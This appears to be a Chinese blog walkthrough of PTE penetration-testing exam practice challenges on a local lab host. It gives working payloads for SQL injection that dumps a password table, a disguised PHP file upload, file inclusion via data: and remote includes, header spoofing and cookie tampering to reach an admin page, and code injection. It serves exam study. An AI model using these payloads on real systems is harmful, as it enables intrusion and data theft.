系列文章目录
文章目录
前言
上一期给大家讲解了PTE考试练习的第一套题,每个题的解法都很详细的讲解了,接下来会给大家讲解第二套题,也是历年考试的题目,难度有点大,在这里给大家好好讲解一下。
一、SQL注入
http://192.168.230.133:81/
http://192.168.230.133:81/start/
进去之后,我们发现是一个注册页面,我们先注册一个账号
我们发表一个看看
insert article1 value(‘977E4328-4F2E-6A8D-6313-2BAB8B3FAC0B’,‘aa’,‘aaa’,‘123’)
我们看到后面输入的内容是在第二,第三个空,大概率是在内容上。
我们看到–和#号都被过滤了,我们可以用/**/进行绕过,这就用到二次注入的方法,次方法就比较麻烦,这里给大家介绍一种简单的方法。j就是多行注入的方法,可以从发表的内容中查看注入后返回的内容。
// 代码过滤规则
while (strstr($sql,‘–’)) {
$sql = str_replace(“–”, “”, $sql);
}
while (strstr($sql,‘#’)) {
$sql = str_replace(“#”, “”, $sql);
}
我们在内容里注入语句试试
1’,‘123’),(‘1’,‘2’,‘3
我们看到2是回显位置
查当前数据库
1’,‘123’),(‘1’,database(),‘3
查表
1’,‘123’),(‘1’,(select group_concat(table_name) from information_schema.tables where table_schema=‘2web’),'3
article,article1,users1
查字段
1’,‘123’),(‘1’,(select group_concat(column_name) from information_schema.columns where table_name=‘users1’),'3
username,password
查字段中的数据
1’,‘123’),(‘1’,(select password from users1 limit 0,1),'3
因为key可能就在password中
我们就找到key1:u9y8tr4n了。
二、文件上传
http://192.168.230.133:82/
尝试获取webshell,答案就在根目录下key.php文件中。
我们进入答题
http://192.168.230.133:82/start/
类似于第一套题中的上传题目一样,上传一个.jpg文件,在修改后缀名上传就可以了。
这是我们文件中的内容
GIF89a
<?php readfile('key.php');?>
我们查看一下 b.php文件
http://192.168.230.133:82/b.php
右键查看源码
我们就拿到了key2:a1b2c3d4了。
三、文件包含
http://192.168.230.133:83/
http://192.168.230.133:83/start/index.php?page=hello
我们使用伪协议和base64编码读文件试一下
首先是data://text/plain,<?php readfile('../key.php');?>
http://192.168.230.133:83/start/index.php?page=data://text/plain,<?php readfile('../key.php');?>
没有回显,data://被过滤了,我们使用data:/试试
http://192.168.230.133:83/start/index.php?page=data:/text/plain,<?php readfile('../key.php');?>
右键查看源码看看
我们就拿到key3:abcdefgh了。
我们也可以尝试php文件包含试试
http://192.168.230.133:83/start/index.php?page=php://filter/convert.base64-encode/resource==…/key.php
同样被过滤掉了。是因为后面总是会加上一个txt文件,所以会被认定为一个txt文件,无法解析,在这里我给大家讲一下正解。
我们只需要在上一题中修改一下文件后缀名就可以了,将b.php修改为b.txt文件,进行上传,文件内容如下所示:
GIF89a
<?php readfile('../key.php');?>
这里我们使用远程包含上一题上传的b.txt文件,因为这里会自动加上后面的.txt,所以这里包含的时候,后面就不用添加后缀名了。
http://192.168.230.133:83/start/index.php?page=http://192.168.230.133:82/b
点击右键查看源代码
我们就得到了key3:abcdefg。
四、反序列化漏洞
http://192.168.230.133:84/
http://192.168.230.133:84/start/index.php
看到源码就是让我们进行反序列化为字符串,然后输出 key4.php的内容,我们只需要在后面加上下面这个,就可以。
str=s:44:“Whatever is worth doing is worth doing well.”;
http://192.168.230.133:84/start/index.php?str=s:44:“Whatever is worth doing is worth doing well.”;
我们就拿到key4:12345678了。
五、失效的访问控制
http://192.168.230.133:85/start/
进去之后,发现只能本地访问,我们只需抓包后,请求下面添加xff为127.0.0.1就可以了,加上一句话。
x-forwarded-for:127.0.0.1
修改之后,发现可以访问了,但是无权访问,我们就需要修改权限,将其中的 IsAdmin=false; Username=R3Vlc3Q%3D修改为IsAdmin=true; Username=admin
再将后面的admin进行编码后:
IsAdmin=true; Username=YWRtaW4=
进行发送就可以了。
成功拿到key5:12345678了。
六、代码审计
http://192.168.230.133:84/start/vul4.php
其中意思就是说将参数a,赋值给一个字符串,将其最小化输出,就是输出key4.php文件。
我们只需要闭合前面和后面的括号,在括号中间的输入要读取的文件就可以了。输入以下语句就可以了
http://192.168.230.133:84/start/vul4.php?a=“);highlight_file(‘key4.php’)😭”
我们就拿到key4:12345678了。
总结
这里第二套习题就完了,大家好好复习一下,接下来下一篇文章,我会给大家讲解一下综合题的练习情况。
版权归原作者 炫彩@之星 所有, 如有侵权,请联系我们删除。